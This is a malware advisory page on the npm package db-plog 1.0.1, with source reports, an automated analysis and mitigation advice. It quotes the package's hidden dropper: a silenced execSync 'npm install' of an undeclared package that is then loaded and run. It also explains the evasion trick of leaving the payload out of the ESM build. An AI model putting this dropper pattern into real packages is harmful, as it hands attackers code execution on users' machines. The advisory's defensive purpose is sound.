Malicious code in db-plog (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99) On every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as `main`) contains this dropper while the ESM bundle (dist/index.mjs, declared as `module`) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper. ## Source: ghsa-malware (8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The 'db-plog' npm package version 1.0.1 includes a runtime dropper in its CommonJS bundle (dist/index.js) that executes a hidden 'npm install' command to fetch and load the 'db-connector-log' package, which is controlled by an attacker. This secondary package is not declared in the dependencies or documentation, and the installation is suppressed with npm flags and Windows process hiding to evade operator detection. Upon instantiating the 'Model' API, the dropper runs arbitrary code from 'db-connector-log', enabling the attacker to execute any code on the compromised system. The ESM bundle (dist/index.mjs) does not contain this malicious code, indicating a deliberate evasion technique. This design allows the attacker to update the malicious payload independently of 'db-plog' updates. The compromise is severe, as any system running this package should be considered fully compromised, requiring secret and key rotation from a clean environment.
Potential Impact
Any system with 'db-plog' version 1.0.1 installed or running is at high risk of full compromise due to arbitrary code execution via the malicious 'db-connector-log' package installed at runtime. Attackers can execute any code, potentially exfiltrate secrets, install persistent malware, or take full control of the host. The silent and hidden installation mechanism increases the likelihood of unnoticed compromise. Removal of the package alone does not guarantee elimination of the attacker’s presence or malware.
Mitigation Recommendations
No official patch or fix is currently available for this malicious package. Immediate removal of 'db-plog' version 1.0.1 is strongly recommended. All secrets, keys, and credentials stored on the affected system should be considered compromised and rotated from a separate, trusted environment. Due to the potential for full system compromise, a full system audit and possible rebuild may be necessary. Monitor for any signs of persistence or additional malware. Avoid using this package or any related packages from untrusted sources.
Malicious code in db-plog (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99) On every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm flags plus windowsHide are designed to hide the install from the operator. This is a runtime dropper: whoever controls the separately-published 'db-connector-log' package can ship arbitrary code to anyone who loads db-plog and uses its Model API, and can mutate that code at any time without republishing db-plog. The CJS bundle (dist/index.js, declared as `main`) contains this dropper while the ESM bundle (dist/index.mjs, declared as `module`) omits it entirely — Model in the.mjs build has no resetor() call and no resetor method. Two divergent builds from one Rollup configuration is a deliberate evasion pattern that hides the payload from reviewers and bundlers reading the ESM entry. The harm fires the first time consuming code instantiates Model, which is the package's advertised use, so any normal use of the library triggers the dropper. ## Source: ghsa-malware (8d8c56bfe4895936bcaa326b6b4c874fc91a9674096d186acf29481e99faea9a) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The 'db-plog' npm package version 1.0.1 includes a runtime dropper in its CommonJS bundle (dist/index.js) that executes a hidden 'npm install' command to fetch and load the 'db-connector-log' package, which is controlled by an attacker. This secondary package is not declared in the dependencies or documentation, and the installation is suppressed with npm flags and Windows process hiding to evade operator detection. Upon instantiating the 'Model' API, the dropper runs arbitrary code from 'db-connector-log', enabling the attacker to execute any code on the compromised system. The ESM bundle (dist/index.mjs) does not contain this malicious code, indicating a deliberate evasion technique. This design allows the attacker to update the malicious payload independently of 'db-plog' updates. The compromise is severe, as any system running this package should be considered fully compromised, requiring secret and key rotation from a clean environment.
Potential Impact
Any system with 'db-plog' version 1.0.1 installed or running is at high risk of full compromise due to arbitrary code execution via the malicious 'db-connector-log' package installed at runtime. Attackers can execute any code, potentially exfiltrate secrets, install persistent malware, or take full control of the host. The silent and hidden installation mechanism increases the likelihood of unnoticed compromise. Removal of the package alone does not guarantee elimination of the attacker’s presence or malware.
Mitigation Recommendations
No official patch or fix is currently available for this malicious package. Immediate removal of 'db-plog' version 1.0.1 is strongly recommended. All secrets, keys, and credentials stored on the affected system should be considered compromised and rotated from a separate, trusted environment. Due to the potential for full system compromise, a full system audit and possible rebuild may be necessary. Monitor for any signs of persistence or additional malware. Avoid using this package or any related packages from untrusted sources.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-6538
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-j49r-84jx-vq3m"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a46ece227e9c79719440e0b
Added to database: 07/02/2026, 22:57:38 UTC
Last enriched: 07/02/2026, 23:25:28 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 15
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.